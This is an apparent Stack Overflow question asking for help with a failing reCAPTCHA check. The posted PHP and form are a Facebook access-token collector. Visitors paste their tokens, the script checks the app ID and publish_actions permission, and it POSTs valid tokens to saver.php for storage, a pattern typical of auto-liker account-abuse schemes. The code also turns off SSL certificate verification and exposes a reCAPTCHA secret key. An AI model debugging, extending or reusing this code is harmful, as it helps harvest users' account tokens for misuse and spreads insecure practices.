title: Recaptcha error grecapctha response error why?
body: <p>I am trying to add recapcha before user submit there data but unfortunately I am getting error and I don't know why and how to fix this and I am new so please help in detail and already read all related post on this topic on stack overflow but I not get any answer.
  <strong>error screenshot</strong>
  <a href="https://i.stack.imgur.com/tCGR5.jpg" rel="nofollow noreferrer">Captcha error</a>
  Here is my php script <strong>verify.php</strong></p>
  
  <pre><code>&lt;?php
  function get_json($url) {
      $ch = curl_init();
  
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
      curl_setopt($ch, CURLOPT_FAILONERROR, 0);
      $data = curl_exec($ch);
      curl_close($ch);
      return json_decode($data);
      }
  function get_html($url) {
      $ch = curl_init();
  
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
      curl_setopt($ch, CURLOPT_FAILONERROR, 0);
      $data = curl_exec($ch);
      curl_close($ch);
      return $data;
      }
     $secret = "6LcBbC0UAAAAAFOgeM5fdA6n5Vfam7BqW-wLoNZS";
      $ip = $_SERVER['REMOTE_ADDR'];
      $captcha = $_POST['g-recaptcha-response'];
          $rsp = file_get_contents('https://www.google.com/recaptcha/api/siteverify?secret'.$secret.'&amp;response='.$captcha.'&amp;remoteip'.$ip.'');
  $arr = json_decode($rsp,TRUE);
  if($arr[success]){
     $token2 = $_GET["user"];
  $new = str_replace('"','',$token2);
  if(preg_match("'access_token:(.*?),'",$new,$news)){
  $token2 = $news[1];
  }
  session_start();
  if(isset($token2)){
  
  
  $new = str_replace('"','',$token2);
      if(preg_match("'access_token=(.*?)&amp;expires_in='", $token2, $matches)){
      $token = $matches[1];
  
          }else{
      $token = $token2;}
          $exe = json_decode(get_html("https://graph.facebook.com/app?access_token=".$token ))-&gt;id;
      $extend = get_html("https://graph.facebook.com/me/permissions?access_token="  . $token);
      if($exe == "6628568379" || $exe == "149859461799466"){
          $pos = strpos($extend, "publish_actions");
          if ($pos == true) {
          $_SESSION['token'] = $token;
          $ch = curl_init('/saver.php');
          curl_setopt ($ch, CURLOPT_POST, 1);
          curl_setopt ($ch, CURLOPT_POSTFIELDS, "token=".$token);
          curl_setopt($ch, CURLOPT_TIMEOUT, 10);
          curl_exec ($ch);
          curl_close ($ch);
          header('Location:index.php');
              }
              else {
          header('Location:index.php?i=1');}
          //access token is not valid
      }else{
      header('Location:index.php?i=4');}
      }else{
      header('Location:index.php?i=2');}
      }else{
      echo 'spam';
      }
  ?&gt;
  </code></pre>
  
  <p>Here is my form submit <strong>script</strong></p>
  
  <pre><code>&lt;form method="get" action="verify.php"&gt;
  &lt;div class=""&gt;&lt;p&gt;&lt;small&gt;paste your access token here.&lt;/small&gt;&lt;/p&gt;
  &lt;center&gt;&lt;input placeholder="paste your access token here" class="form-control" id="accesstoken" type="text" name="user" style="width: 300px; height: 43px;"&gt;&lt;/center&gt;&lt;br&gt;
  &lt;center&gt;
  &lt;div class="g-recaptcha" data-sitekey="6LcBbC0UAAAAABWMA7roLAgTd2UDSLMW3h3azZoG"&gt;&lt;/div&gt;
  &lt;/center&gt;
  &lt;br&gt;&lt;center&gt;&lt;button type="submit" class="btn btn-primary btn-lg" onclick="tokencheck()" &gt;Submit &lt;/i&gt;&lt;/button&gt;&lt;/center&gt;&lt;center&gt;&lt;/center&gt;&lt;/div&gt;&lt;/form&gt;
  </code></pre>